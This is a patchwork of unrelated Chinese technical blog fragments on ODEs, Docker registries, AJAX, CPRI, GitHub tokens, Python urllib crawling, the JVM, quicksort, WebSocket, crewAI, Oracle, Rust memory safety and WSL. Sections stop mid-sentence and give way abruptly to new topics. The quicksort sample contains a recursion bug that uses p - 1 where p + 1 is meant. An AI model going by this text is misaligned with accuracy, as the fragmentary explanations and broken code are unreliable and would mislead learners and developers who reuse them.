常微分方程 常微分方程(ODE)可用于描述动态系统。 从某种程度上来说,我们生活在一个动态系统中,窗外的天气从黎明到黄昏都在变化,我们体内发生的新陈代谢也是一个动态系统,因为随着时间的推移,成千上万的反应和分子被合成和降解。
更正式地说,如果我们定义一组变量,比如一天的温度,或者某个时间点X分子的数量,并且它随着自变量的变化而变化(在动态系统中,通常是时间t) 。 ODE 为我们提供了一种以数学方式描述定义变量动态变化的方法。 与之相反的系统称为静态系统,想象一下拍一张外面的照片,这张快照不包含任何动态,换句话说,它是静态的。
求解常微分方程意味着确定变量如何随着时间的推移而变化,解有时称为解曲线(如下图所示),为任何动态系统的默认行为提供信息预测。
方程式 这里我首先介绍一些术语,读者可以从中受益。常微分方程 (ODE) 看起来像这样:
d R d t = k 0 + k 1 S − k 2 R \frac{d R}{d t}=k_0+k_1 S-k_2 R dtdR=k0+k1S−k2R
这是一个涉及导数的方程,但方程本身没有偏导数。 换句话说,我们只考虑一个自变量,即时间 t。 当我们有多个自变量进来时,它就变成偏微分方程(PDE),这不属于本文的讨论范围。
∂ 2 μ ∂ x 2 + ∂ 2 μ ∂ y 2 = 0 \frac{\partial^2 \mu}{\partial x^2}+\frac{\partial^2 \mu}{\partial y^2}=0 ∂x2∂2μ+∂y2∂2μ=0
在 ODE 中,如果包含因变量的项(在上述情况下为变量 R,包含 R 的项包括 dR/dt 和 k2R)的系数与 R 无关,则该 ODE 被视为线性 ODE。 为了说明这一点,让我向您展示一个非线性 ODE 作为比较:
文章目录 🔎docker私有仓库🍔具体步骤 🔎docker私有仓库 Docker私有仓库的存在为用户提供了更高的灵活性、控制和安全性。与使用公共镜像仓库相比,私有仓库使用户能够完全掌握自己的镜像生命周期。
首先,私有仓库允许用户在本地或云服务器上部署和管理自己的镜像存储库。这意味着用户可以根据自己的需求和规模进行扩展和配置。无论是将私有仓库部署在本地网络中还是将其放置在云服务器上,用户都可以根据自己的环境和需求进行选择。
其次,私有仓库提供了安全性方面的优势。用户可以对私有仓库进行访问控制和权限设置,确保只有授权的人员能够推送和拉取镜像。这对于需要保护敏感数据或限制访问的企业环境尤为重要。
此外,私有仓库还可以提高应用程序部署的可靠性和稳定性。通过使用私有仓库,用户可以确保所使用的镜像的版本和稳定性,避免因为公共仓库的变化导致应用程序出现问题。
总而言之,Docker私有仓库为用户提供了更高的灵活性、控制和安全性。它允许用户存储、共享和管理自己的镜像,并提供了更多的定制化选项,以适应各种不同的应用场景和需求。
🍔具体步骤 配置docker信任地址
vi /etc/docker/daemon.json 加入下面的内容
"insecure-registries":["http://192.168.125.131:8080"] 这里面的ip地址改为自己虚拟机的地址
(注意这后面有一个 逗号 )
然后重启一下docker
# 重加载 systemctl daemon-reload # 重启docker systemctl restart docker 然后我们进入tmp文件夹,新建一个文件夹来作为我们存放图像化仓库的地方,并且创建yml文件
把下面的代码写入yml文件中
version: '3.0' services: registry: image: registry volumes: - ./registry-data:/var/lib/registry ui: image: joxit/docker-registry-ui:static ports: - 8080:80 environment: - REGISTRY_TITLE=小吉私有仓库 - REGISTRY_URL=http://registry:5000 depends_on: - registry 然后进行执行
docker-compose up -d 然后我们去浏览器访问一下
访问成功,但是目前还没有镜像
我们来给这个仓库推送几个镜像
推送到私有仓库,一定要给镜像重命名
先查看有什么镜像
我们先打包(tag)一个镜像
再次查看镜像
打包成功
(其实就是重命名成功)
下面我们来上传我们刚刚打包的镜像到自己的私有仓库里面
(注意是push,不是pull)
打开仓库
AJAX AJAX 是用于描述网页与网络服务器互动的一系列技术的术语。它不是一项新技术,而是对长时间以来已存在技术的应用。随着主要网站(例如谷歌)展示其优势,它作为一种开发技术变得流行。AJAX 这个术语被创造出来,用以描述异步 JavaScript 和 XML 应用程序。在本节中,我们首先将探讨 AJAX 的一般用途。 AJAX 技术的主要好处是使基于网络的应用程序对用户来说显得更加响应迅速。通常,一个基于网络的应用程序会经历以下三个步骤:
用户点击链接或其他控件以启动更改,浏览器在从服务器获取网页时暂停以及浏览器为用户显示网页。 这三个步骤对网页用户来说非常熟悉。然而,从用户的角度看,第二步是浪费时间,用户只能等待下一个步骤的过程。第二步也非常依赖网络响应速度,当网络响应不佳时,这一步骤可能会影响用户对应用程序的满意度。 AJAX 带来的用户体验与上述描述不同。使用 AJAX 技术,与网络服务器的交互可以变得不那么明显。一个典型的 AJAX 网页的行为如下:
用户点击或以其他方式操作网页中显示的控件,向网络服务器发送异步请求以获取 XML 数据,同时当前页面保持显示,用户可以继续与显示的网页互动,以及当网络服务器数据到达时,网页中的 JavaScript 代码更新页面的一部分。 通过精心设计,上述过程允许实现看似对用户更加响应迅速的网络应用程序。由于只有网页的一部分需要更新,网页的其余部分仍然显示,用户可以继续与页面上的其他控件互动。由于网络服务器请求是异步的,网页在网络通信发生时继续运作。同时,可以同时激活多个服务器请求,这些请求可能由网页的不同部分或甚至相同的网页控件生成。 AJAX 是使用网页代码中的 JavaScript 实现的。JavaScript 允许将函数编程并分配给网页上的 DOM 对象和事件。这使得函数可以响应用户操作而执行。在本单元中,我们将使用 Typescript 编码,正如你所知,它会被转换为 JavaScript,以便部署到客户端。 异步 HTTP 连接作为 JavaScript XMLHttpRequest 对象进行管理。这些对象控制 HTTP 请求,并在 HTTP 请求完成时启动 JavaScript 函数。我们将看到 jQuery 如何消除了在我们的 JavaScript 代码中访问此对象的必要性。 在服务器端,可以使用任何响应 HTTP 请求的服务器技术。简单的网络服务器、CGI、PHP、Web 服务等可以被 HTTP 请求启动,并提供所需的响应。 AJAX 的两个主要缺点是:
AJAX 可能会破坏浏览器的后退按钮和书签,以及额外的响应性可能会使真实的网络延迟更加明显。 影响浏览器后退按钮和浏览器历史记录的原因是它们都依赖于网页的 URL。由于 AJAX 在网页从服务器加载后更新网页,所以更新的历史记录不会自动存储为 URL。AJAX 开发者必须仔细记住已发生的更新,并修改浏览器的后退按钮处理或确保服务器知道已应用的页面更新。 第二个缺点并不那么直接。大多数网页用户都熟悉加载网页所需的延迟,并已习惯于等待周期。然而,AJAX 使网页的某些方面看似瞬间完成,而任何服务器交互仍将受到网络延迟的影响。这种不一致性使网络延迟对用户更加明显。通过预加载数据到网页的不可见部分,精心设计可以克服这种不一致性。这要求 JavaScript 程序员预测用户将请求的数据。你将在下面的谷歌地图练习中看到这方面的一个例子。
上一讲介绍过基本概念,这一讲看看一些例子
基本概念 10ms 系统 : 帧-->150超帧/F--> 256基本帧/HF
每10ms基本帧数 --> 256*150=38400 Cpri 基本帧频率 38400/10ms --> 3.84Mhz/s,
每个基本帧的长度为1/3.84mhz=0.26us
Cpri Rate7: 9830M/s端口速率:
9830.4M*8/10(编码)=7864.32M/s
7864.32M*15/16(去掉控制字节)=7372.8M/s --> 15/16 中15bit IQ,有一位是控制字
7372.8M/100=73.728M/CPRI-->(10ms)
73.728M/38400=1920/每基本帧有这么多bit
1920/15=128--> cpri 字长T
128/8=16(码片数目)
不压缩的前提下 IQ: 2*15 bits
举例: 以20M带宽/9830M SFP为例计算AXC个数。 基带 I/Q 采样率: 30.72 MHz 采样位宽: 15bit (I 和 Q 样点 ) 需传送数据: 30.72M*(15+15)=921.6Mbps -----单位S
9.216M-----单位10ms
9.216M/38400=240bits---单位基本帧
AXC个数= 1920/240 =8 (在rate7的cpri速率每个基本帧包含1920bits, 20M带宽需要240bits在一个基本帧,那么1920除以240表示每个基本帧可以被划分为8个AxC用于存放20M的数据)
多个AxC有什么用? 例如Rate7: 100M只有两个AxC,那么一跟光纤只支持1个2T2R的小区,要做4T4R或者多载波,只能增加cpri光纤数量或者用更高的cpri速率,例如28G。
而同样Cpri Rate7支持20M带宽8个AxC,那我们可以做到4T4R 两载波的小区了
对照表:AxC position对照表
文章目录 异常原因解决方法 异常原因 在 Linux 服务器上使用git push命令,输入用户名和密码之后,总会显示一个报错:
fatal: Authentication failed for 'https://github.com/TianJiaQi-Code/Linux.git/' # 致命:无法通过验证访问 起初我认为可能是密码输错了,但重新试过很多次后依然不行
到网上查阅,才知道原来是 github 的问题…
长话短说:大概就是 github 现在不让使用 用户名+密码 的方式进行验证,解决起来也不难,在 github 网站上生成一个访问令牌(token),在git push时用这个令牌代替密码验证即可
解决方法 进入 github 主页,单击右上角自己的头像 在下拉列表中选择Settings(设置) 进入设置页面,选择最后一个标签Developer settings(开发者设置) (1)进入开发者设置页面,点击Personal access tokens(个人访问令牌)展开下拉菜单
(2)在下拉菜单中选择Tokens(classic)(令牌(经典)) (1)点击Generate new token(生成新令牌),展开下拉菜单
(2)选择Generate new token (classic)(生成新令牌(经典)) (1)填写你要使用令牌做什么
(2)选择令牌使用期限
(3)选择令牌作用范围(不知道选什么就先全选,后面可以更改)
(4)全部选择完毕后,拉到最下面,点击Generate token(生成令牌) 保存好自己的令牌,因为它只会在这里出现一次,如果忘了就需要重新生成把令牌复制到剪切板,在git push时,使用令牌代替密码进行验证 这样就不会有报错了,命令执行后,可以打开 github 看看代码是否同步成功
如果本文未能解决你的问题,请在评论区留言讨论 END
Python-Crawler 简介:在Http协议中,定义了八种请求方法。这里介绍两种常用的请求方法,分别是get请求和post请求。
get请求:一般情况下,只从服务器获取数据下来,并不会对服务器资源产生任何影响的时候会使用get请求。
post请求:向服务器发送数据(登录)、上传文件等,会对服务器资源产生影响的时候会使用post请求。 以上是在网站开发中常用的两种方法。并且一般情况下都会遵循使用的原则。但是有的网站和服务器为了做反爬虫机制,也经常会不按常理出牌,有可能一个应该使用get方法的请求就一定要改成post请求,这个要视情况而定。
在http协议中,向服务器发送一个请求,数据分为三部分,第一个是把数据放在url中,第二个是把数据放在body中(在post请求中),第三个就是把数据放在head中。这里介绍在网络爬虫中经常会用到的一些请求头参数:
User-Agent:浏览器名称。这个在网络爬虫中经常会被使用到。请求一个网页的时候,服务器通过这个参数就可以知道这个请求是由哪种浏览器发送的。如果我们是通过爬虫发送请求,那么我们的User-Agent就是Python,这对于那些有反爬虫机制的网站来说,可以轻易的判断你这个请求是爬虫。因此我们要经常设置这个值为一些浏览器的值,来伪装我们的爬虫。
Referer:表明当前这个请求是从哪个url过来的。这个一般也可以用来做反爬虫技术。如果不是从指定页面过来的,那么就不做相关的响应。
Cookie:http协议是无状态的。也就是同一个人发送了两次请求,服务器没有能力知道这两个请求是否来自同一个人。因此这时候就用cookie来做标识。一般如果想要做登录后才能访问的网站,那么就需要发送cookie信息了。
200:请求正常,服务器正常的返回数据。
301:永久重定向。比如在访问www.jingdong.com的时候会重定向到www.jd.com。
302:临时重定向。比如在访问一个需要登录的页面的时候,而此时没有登录,那么就会重定向到登录页面。
400:请求的url在服务器上找不到。换句话说就是请求url错误。
403:服务器拒绝访问,权限不够。
500:服务器内部错误。可能是服务器出现bug了。
urllib库 urllib`库是中一个最基本的网络请求库。可以模拟浏览器的行为,向指定的服务器发送一个请求,并可以保存服务器返回的数据。`Python urlopen函数: 在的库中,所有和网络请求相关的方法,都被集到模块下面了,以先来看下函数基本的使用:Python3``urllib``urllib.request``urlopen
from urllib import request resp = request.urlopen('http://www.baidu.com') print(resp.read()) 实际上,使用浏览器访问百度,右键查看源代码。你会发现,跟我们刚才打印出来的数据是一模一样的。也就是说,上面的三行代码就已经帮我们把百度的首页的全部代码爬下来了。一个基本的url请求对应的python代码真的非常简单。 以下对函数的进行详细讲解: urlopen
url:请求的url。
data:请求的,如果设置了这个值,那么将变成请求。 data``post
返回值:返回值是一个对象,这个对象是一个类文件句柄对象。有、、以及等方法。http.client.HTTPResponse``read(size)``readline``readlines``getcode
urlretrieve函数: 这个函数可以方便的将网页上的一个文件保存到本地。以下代码可以非常方便的将百度的首页下载到本地:
from urllib import request request.urlretrieve('http://www.baidu.com/','baidu.html') urlencode函数: 用浏览器发送请求的时候,如果url中包含了中文或者其他特殊字符,那么浏览器会自动的给我们进行编码。而如果使用代码发送请求,那么就必须手动的进行编码,这时候就应该使用函数来实现。可以把字典数据转换为编码的数据。示例代码如下:urlencode``urlencode``URL
from urllib import parse data = {'name':'爬虫基础','greet':'hello world','age':100} qs = parse.urlencode(data) print(qs) parse_qs函数: 可以将经过编码后的url参数进行解码。示例代码如下:
from urllib import parse qs = "name=%E7%88%AC%E8%99%AB%E5%9F%BA%E7%A1%80&greet=hello+world&age=100" print(parse.parse_qs(qs)) urlparse和urlsplit: 有时候拿到一个url,想要对这个url中的各个组成部分进行分割,那么这时候就可以使用或者是来进行分割。示例代码如下:urlparse``urlsplit
from urllib import request,parse url = 'http://www.
基本概念 扇区:每个扇区512byte或者4kbyte大小 逻辑块:u32类型最大能表示2T容量
执行引擎是 Java 虚拟机核心的组成部分之一。 在《Java虚拟机规范》中制定了 Java 虚拟机字节码执行引擎的概念模型,
这个概念模型成为各大发行商的 Java 虚拟机执行引擎的统一外观 (Facade)。
不同的虚拟机的实现中, 通常会有
解释执行 (通过解释器执行)编译执行 (通过即时编译器产生本地代码执行)
两种选择, 也可能两者兼备, 还可能会有同时包含几个不同级别的即时编译器一起工作的执行引擎。
但是从外观上看, 所有的 Java 虚拟机的执行引擎都是: 输入的是字节码二进制流, 输出的是执行结果。 而这一个的过程, 落实到 HotSpot 的实现就是运行时栈帧。
下面会对运行时栈帧做一个简单的介绍。
1 运行时栈帧 Java 虚拟机以方法作为最基本的执行单元, “栈帧” (Stack Frame) 则是用于支持虚拟机进行方法调用和方法执行背后的数据结构, 它也是虚拟机运行时数
据区中的虚拟机栈 (Virtual Machine Stack) 的栈元素。
栈帧存储了方法的局部变量表 + 操作数栈 + 动态连接 + 方法返回地址等信息。
每一个方法从调用开始至执行结束的过程, 都对应着一个栈帧在虚拟机栈里面从入栈到出栈的过程。
在编译 Java 程序源码的时候, 栈帧中需要多大的局部变量表, 需要多深的操作数栈就已经被分析计算出来, 并且写入到方法表的 Code 属性之中。
一个栈帧需要分配多少内存, 并不会受到程序运行期变量数据的影响, 而仅仅取决于程序源码和具体的虚拟机实现的栈内存布局形式。
一个线程中的方法调用链可能会很长, 以 Java 程序的角度来看, 同一时刻, 同一条线程里面, 在调用堆栈的所有方法都同时处于执行状态。而对于执行引擎
代码框架 // 在数组nums将下标从left到right中进行从小到大排序 // 原理是先将一个元素排好序,然后将其他的元素排好序 void sort(int[] nums, int left, int right) { if (left >= right) { return; } // 对数组nums[left,right]进行切分,使得nums[left,p-1]<=nums[p]<=nums[p+1,right] int p = partition(nums, left, right); // 去左右数组进行切分 sort(nums, left, p - 1); sort(nums, p - 1, right); } // 在数组中nums[left,right]中寻找到一个分界点p int partition(int[] nums, int left, int right) { // 将数组中最左边的元素放入正确的位置后,返回该位置 int pivot = nums[left]; // 最后数组被分为三个区间,[left,i)和i和(j,right] int i = left + 1, j = right; while (i <= j) { // i右移找大于pivot的数 while (i < right && nums[i] <= pivot) { i++; } // j左移找到小于pivot的数 while (j > left && nums[j] >= pivot) { j--; } // 判断此时的i和j是否越界 if (i >= j) { break; } swap(nums, i, j); } // 最后将pivot和j进行交换 swap(nums, left, j); return j; } // 将元素随机打乱 void shuffle(int[] nums) { int len = nums.
前端必备工具推荐网站(免费图床、API和ChatAI等实用工具):
http://luckycola.com.cn/
一、什么是websocket? WebSocket 是一种在单个 TCP 连接上进行全双工通信的网络协议。
它是 HTML5 中的一种新特性,能够实现 Web 应用程序和服务器之间的实时通信,比如在线聊天、游戏、数据可视化等。
相较于 HTTP 协议的请求-响应模式,使用 WebSocket 可以建立持久连接,允许服务器主动向客户端推送数据,避免了不必要的轮询请求,提高了实时性和效率。同时,WebSocket 的连接过程也比较简单,可以通过 JavaScript 中的 WebSocket API 进行创建和管理,并且可以和现有的 Web 技术如 HTML、CSS 和 JavaScript 无缝集成。
WebSocket 协议是基于握手协议(Handshake Protocol)的,它在建立连接时使用 HTTP/HTTPS 发送一个初始握手请求,然后服务器响应该请求,建立连接后就可以在连接上进行数据传输了。
二、websocket原理 在实现websocket连线过程中,需要通过浏览器发出websocket连线请求,然后服务器发出回应,这个过程通常称为“握手” 。
在 WebSocket API,浏览器和服务器只需要做一个握手的动作,然后,浏览器和服务器之间就形成了一条快速通道。两者之间就直接可以数据互相传送。在此WebSocket 协议中,为我们实现即时服务带来了两大好处:
1. Header:互相沟通的Header是很小的-大概只有 2 Bytes。 2. Server Push:服务器的推送,服务器不再被动的接收到浏览器的请求之后才返回数据,而是在有新数据时就主动推送给浏览器。 三、websocket的特点和优势 1、特点: 1、WebSocket是一种在单个TCP连接上进行全双工通信的协议
2、WebSocket使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据
3、在WebSocket API中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输
以前客户端想知道服务端的处理进度,要不停地使用 Ajax 进行轮询,让浏览器隔个几秒就向服务器发一次请求,这对服务器压力较高。另外一种轮询就是采用 long poll 的方式,这就跟打电话差不多,没收到消息就一直不挂电话,也就是说,客户端发起连接后,如果没消息,就一直不返回 Response 给客户端,连接阶段一直是阻塞的。
而 WebSocket 解决了 HTTP 的这几个难题。首先,当服务器完成协议升级后( HTTP -> WebSocket ),服务端可以主动推送信息给客户端,解决了轮询造成的同步延迟问题。由于 WebSocket 只需要一次 HTTP 握手,服务端就能一直与客户端保持通讯,直到关闭连接,这样就解决了服务器需要反复解析 HTTP 协议,减少了资源的开销。
1 项目地址 https://github.com/joaomdmoura/crewAI
2 功能 通过设置多个智能体,协同解决问题,以处理复杂任务;这种方法的实现方式是将一个任务的输出作为另一个任务的输入。它的优势在于小而有效,原理直观易懂,而且所需的调用代码也相当简单。
很多工作需要多次交互才能完成,不同角色 的 Agent 可设置成不同模型,不同辅助工具,非常好用。
3 代码分析 当前版本 python 代码 800 多行,但几乎是我看过最简单好用的多工具组合策略。
4 模型 除了 openai,还可以支持本地搭建的模型 ollama。
5 安装 $ pip install crewai 6 代码 6.1 示例 import os from crewai import Agent, Task, Crew, Process os.environ["OPENAI_API_KEY"] = "YOUR KEY" from langchain.tools import DuckDuckGoSearchRun search_tool = DuckDuckGoSearchRun() # Define your agents with roles and goals researcher = Agent( role='Senior Research Analyst', goal='Uncover cutting-edge developments in AI and data science in', backstory="
一。进程管理命令
1.ps命令:显示进程信息
2.pstree命令:以树状形式进行展示
3.top命令:查看进程信息
4.kill命令:结束某个进程
二。磁盘管理
1.lsblk:对磁盘的使用情况进行查看
2.df:查看占系统的多少数据
3.du:查看文件或者目录在磁盘的占用量,不是真实大小
4.fdisk:查看磁盘
6.mkfs:磁盘格式化
7.mount:磁盘挂载
三。系统管理命令:
1.find命令:进行内容文件进行查找并且显示文件
注释: / 表示根目录,从根目录进行查找
2.whereis命令:显示命令以及相关文件的路径信息(以前创建的文件)
poweroff:文件名
3.which命令:查找程序的文件
4.uname命令:显示操作系统信息
5.history命令:查看历史操作
6.reboot/shutdowm:重启命令
函数式编程 纯函数
reducer 必须是一个纯函数,即没有副作用的函数,不修改输入值,相同的输入一定会有相同的输出不可变值
state 必须是不可变值,否则在 shouldComponentUpdate 中无法拿到更新前的值,无法做性能优化操作。 vdom 和 diff 算法 JSX 本质 是 React.createElement 函数 React.createElement(tag, props, child1, child2, child3)React.createElement(tag, props, [child1, child2, child3]) 执行生成 vnode const elem = <div> <p>aaa</p> <p style={{ color: 'red' }}>bbb</p> </div>; const elem = React.createElement( "div", null, React.createElement("p", null, "aaa"), React.createElement("p", { style: { color: "red" } }, "bbb") ); const lisElem = <div> { this.state.list.map((item, index) => { return (<span key={item.
目录
摘要
Abstract
文献阅读:CNN与LSTM在水质预测中的应用
现有问题
提出方法
相关模型
CNN
LSTM
CNN-LSTM神经网络模型
模型框架
CNN-LSTM神经网络
研究实验
数据集
模型评估指标
数据预处理
实验设计与结果
研究贡献
Transformer
Encoder-Decoder架构
Encode(编码器)
Decode(解码器)
Transformer 输出结果
Q&&A
Transformer的代码实现
总结
摘要 这周阅读的文献,提出了一种CNN-LSTM组合模型,用于对水质溶解氧数据进行预测。CNN提取的数据特征可以存储在LSTM中进行长期记忆,突出了这些数据特征在预测过程中的作用,从而提高了模型的准确性。通过与基础LSTM模型进行对比试验,可以看出CNN-LSTM具有更强的鲁棒性预测性能。Transformer模型也是一个 Seq2Seq 模型(Encoder-Decoder 框架的模型),通过编码器把输入读进去,再由解码器得到输出。Transformer中最重要就是使用了Self-Attention机制,而不同层中使用的Self-Attention也有差别。总体而言就是从得到的部分结果即局部信息去全局信息中找到重点,从而提高生成结果的准确率。
Abstract The literature read this week proposes a CNN-LSTM combined model for predicting dissolved oxygen data in water quality. The data features extracted by CNN can be stored in LSTM for long-term memory, highlighting the role of these data features in the prediction process, thereby improving the accuracy of the model.
Oracle11g起安装后必须干的几件事 1. 改默认密码有效期为无限期 详见:Oracle11g密码过期(默认180天)及设置密码无限期的方法
2. 给空表分表下segment ORACLE 11G中有个新特性,当表无数据时,不分配segment,以节省空间。
影响:当使用exp导出xxxx.dmp文件时,空表不会导入,回导致表缺失的问题
1. 临时性解决Oracle11g空表导出问题 此法仅限本次对已经存在的表进行分析与分配空间,后面加的表就不起作用了,还是得每次分析一次
首先使用下面的sql语句查询一下当前用户下的所有空表 select table_name from user_tables where NUM_ROWS=0 or num_rows is null; 根据空表拼接 对空表分配空间的语句 select 'alter table '||table_name||' allocate extent;' from user_tables where num_rows=0 or num_rows is null; 执行上面对空表分配空间的alter语句,类似语句如下 alter table TB_TEST1 allocate extent; alter table TB_TEST2 allocate extent; alter table TB_TEST3 allocate extent; alter table TB_TEST4 allocate extent; alter table TB_TEST5 allocate extent; 再次执行exp命令时就可以导出空表了 2. 永久性解决Oracle11g空表导出问题 通过修改Oracle11g的配置,自动为空表分配segment表空间,永久性解决空表导出问题
Oracle12c创建表空间及用户 1. 表空间相关内容 表空间数据文件容量与DB_BLOCK_SIZE有关,在初始建库时,DB_BLOCK_SIZE要根据实际需要,设置为 4K、8K、16K、32K、64K等几种大小,ORACLE的物理文件最大只允许4194304个数据块(由操作系统决定),表空间数据文件的最大值为 4194304×DB_BLOCK_SIZE/1024M。
生产环境考虑到数据库可能一直增加,所以放开表空间大小限制,语句如下:
--改变用户表空间容量限制,不做限制 ALTER USER ankangreli QUOTA UNLIMITED ON ankangrelir_data; 1. db_block_size 1、 DB_BLOCK_SIZE作为数据库的最小操作单位,是在创建数据库的时候指定的,在创建完数据库之后便不可修改。要修改DB_BLOCK_SIZE,需要重建数据库。一般可以将数据EXP出来,然后重建数据库,指定新的DB_BLOCK_SIZE,然后再将数据IMP进数据库。
2、 DB_BLOCK_SIZE一般设置为操作系统块的倍数,即2K,4K,8K,16K或32K,但它的大小一般受数据库用途的影响。对于联机事务,其特点是事务量大,但每个事务处理的数据量小,所以DB_BLOCK_SIZE设置小点就足够了,一般为4K或者8K,设置太大话一次读出的数据有部分是没用的,会拖慢数据库的读写时间,同时增加无必要的IO操作。而对于数据仓库和ERP方面的应用,每个事务处理的数据量很大,所以DB_BLOCK_SIZE一般设置得比较大,一般为8K,16K或者32K,此时如果DB_BLOCK_SIZE小的话,那么I/O自然就多,消耗太大。
3、 大一点的DB_BLOCK_SIZE对索引的性能有一定的提高。因为DB_BLOCK_SIZE比较大的话,一个DB_BLOCK一次能够索引的行数就比较多。
4、 对于行比较大的话,比如一个DB_BLOCK放不下一行,数据库在读取数据的时候就需要进行行链接,从而影响读取性能。此时DB_BLOCK_SIZE大一点的话就可以避免这种情况的发生。
2. sql查看db_block_size值 Oracle12c在WindowsServer2019中安装后,默认的db_block_size为8K
--value为db_block_size的默认值 select value from v$parameter where name='db_block_size' --输出如下 8192 = 8K --查看INITIAL_EXTENT值,为DB_BLOCK_SIZE的整数倍 select owner,initial_extent/8192 from dba_rollback_segs --输出 1 SYS 14 2 PUBLIC 16 3 PUBLIC 16 4 PUBLIC 16 5 PUBLIC 16 6 PUBLIC 16 7 PUBLIC 16 8 PUBLIC 16 9 PUBLIC 16 10 PUBLIC 16 11 PUBLIC 16 2.
堆和栈 一个进程在执行的时候,它所占用的内存的虚拟地址空间一般被分割成好几个区域,我们称为“段”(Segment)。常见的几个段如下。
代码段。编译后的机器码存在的区域。一般这个段是只读的。bss段。存放未初始化的全局变量和静态变量的区域。数据段。存放有初始化的全局变量和静态变量的区域。函数调用栈(call stack segment)。存放函数参数、局部变量以及其他函数调用相关信息的区域。堆(heap)。存放动态分配内存的区域。 函数调用栈(call stack)也可以简称为栈(stack)。
因为函数调用栈本来就是基于栈这样一个数据结构实现的。
它具备“后入先出”(LIFO)的特点。最先进入的数据也是最后出来的数据。
一般来说,CPU有专门的指令可以用于入栈或者出栈的操作。
当一个函数被调用时,就会有指令把当前指令的地址压入栈内保存起来,然后跳转到被调用的函数中执行。
函数返回的时候,就会把栈里面先前的指令地址弹出来继续执行,如图所示。
堆是为动态分配预留的内存空间,如图所示。
和栈不一样,从堆上分配和重新分配块没有固定模式,用户可以在任何时候分配和释放它。这样就使得跟踪哪部分堆已经被分配和被释放变得异常复杂;有许多定制的堆分配策略用来为不同的使用模式下调整堆的性能。堆是在内存中动态分配的内存,是无序的。每个线程都有一个栈,但是每一个应用程序通常都只有一个堆。在堆上的变量必须要手动释放,不存在作用域的问题。
段错误 segfault实际上是“segmentation fault”的缩写形式,我们可以翻译为“段错误”。
segfault是这样形成的:进程空间中的每个段通过硬件MMU映射到真正的物理空间;
在这个映射过程中,我们还可以给不同的段设置不同的访问权限,比如代码段就是只能读不能写;
进程在执行过程中,如果违反了这些权限,CPU会直接产生一个硬件异常;
硬件异常会被操作系统内核处理,一般内核会向对应的进程发送一条信号;
如果没有实现自己特殊的信号处理函数,默认情况下,这个进程会直接非正常退出;
如果操作系统打开了core dump功能,在进程退出的时候操作系统会把它当时的内存状态、寄存器状态以及各种相关信息保存到一个文件中,供用户以后调试使用。
在传统系统级编程语言C/C++里面,制造segfault是很容易的。程序员需要非常小心才能避免这种错误,这也是为什么会有那么多的代码标准来规范程序员的行为。
而另外一类编程语言规避segfault的办法是使用自动垃圾回收机制。
在这些编程语言中,指针的能力被大幅限制,内存分配和释放都在一个运行时环境中被严格管理。
当然,这么做也付出了一定的代价。某些应用场景下用这样的代价换取开发效率和安全性是非常划算的,而在某些应用场景下这样的代价是不可接受的。
Rust的主要设计目标之一,是在不用自动垃圾回收机制的前提下避免产生segfault。从这个意义上来说,它是独一无二的。
内存安全 在谈到Rust的时候,经常会提到的一个概念,那就是“内存安全”(Memory safety)。
内存安全是Rust设计的主要目标之一,因此我们有必要把这个概念做一个澄清,让大家能更清楚地理解Rust为什么要这么设计。
空指针
解引用空指针是不安全的。这块地址空间一般是受保护的,对空指针解引用在大部分平台上会产生segfault。
野指针
野指针指的是未初始化的指针。它的值取决于它这个位置以前遗留下来的是什么值。所以它可能指向任意一个地方。对它解引用,可能会造成segfault,也可能不会,纯粹凭运气。但无论如何,这个行为都不会是你预期内的行为,是一定会产生bug的。
悬空指针
悬空指针指的是内存空间在被释放了之后,继续使用。它跟野指针类似,同样会读写已经不属于这个指针的内容。
使用未初始化内存
不只是指针类型,任何一种类型不初始化就直接使用都是危险的,造成的后果我们完全无法预测。
非法释放
内存分配和释放要配对。如果对同一个指针释放两次,会制造出内存错误。如果指针并不是内存分配器返回的值,对其执行释放操作,也是危险的。
缓冲区溢出
指针访问越界了,结果也是类似于野指针,会读取或者修改临近内存空间的值,造成危险。
执行非法函数指针
如果一个函数指针不是准确地指向一个函数地址,那么调用这个函数指针会导致一段随机数据被当成指令来执行,是非常危险的。
数据竞争
在有并发的场景下,针对同一块内存同时读写,且没有同步措施。
以上这些问题都是极度危险的,而且它们并不一定会在发生的时候就被发现并立即终止。
它们不一定会直接触发core dump,有可能程序一直带病运行,只是结果一直有bug但却无法找到原因,因为真正的原因与表现之间没有任何肉眼可见的关联关系。
它们有可能造成非常随机的、难以复现和难以调试的诡异bug,就像武林高手一样神出鬼没,行踪不定。
它们也可能在经过许多步骤之后最终触发core dump,可惜此时早已不是案发第一现场,修复这种bug的难度极高。
在Rust语境中,还有一些内存错误是不算在“内存安全”范畴内的,比如内存泄漏以及内存耗尽。
内存泄漏显然是一种bug,但是它不会直接造成非常严重的后果,至少比上面列出的那些错误危险性要低一些,解决的办法也是完全不一样的。
同样,内存耗尽也不是事关安全性的问题,出现内存耗尽的时候,Rust程序的行为依然是确定性的和可控的(目前版本下,如果内存耗尽则发生panic,也有人认为在这种情况发生的时候,应该给个机会由用户自己处理,这种情况后面应该会有改进)。
另外,panic也不属于内存安全相关的问题。
panic和core dump之间有重要区别。panic是发生不可恢复错误后,程序主动执行的一种错误处理机制;而core dump则是程序失控之后,触发了操作系统的保护机制而被动退出的。
发生panic的时候,此处就是确定性的第一现场,我们可以根据call stack信息很快找到事发地点,然后修复。panic是防止更严重内存安全错误的重要机制。
无法解析服务器的名称或地址 和 Wsl/0x80072eff
1.连VPN,推荐的VPN如下。(如一直显示无法连接,则推荐使用VPN)
Anycast加速器 (any4ga.com)
优点:无限GB 缺点:较贵,通过银行卡充值9折后的价格是每月45元左右
隐藏信息可私信询问。
2.Win+R,输入cmd
3.wsl --list --online
win10 WSL2问题解决WslRegisterDistribution failed with error: 0x800701bc
1.Win+R,输入cmd
2.
wsl.exe --update 3.
wsl --set-default-version 2 4.
wsl --install -d Ubuntu-22.04 WslRegisterDistribution failed with error: 0x80041002
Error: 0x80041002 (null)
第一次成功操作总结:
1.
wsl --set-default-version 1 2.
wsl --set-version Ubuntu-22.04 虽然上面都是设置Ubuntu-20.04,但设置Ubuntu-20.04的操作应该无效的,根据参考3应设置Ubuntu-22.04,因为我想安装的就是Ubuntu-22.04。
3. wsl.exe --list --online 列出可用分发。
4.
wsl --install -d Ubuntu-22.04 这里可以创建用户123,不创建也行,直接X掉。
第一次成功,建议从这里打住,不建议模仿以下的魔幻操作。
从上一步直接X掉,退出重进发现显示root 和 要禁用什么,创建什么的一段话。
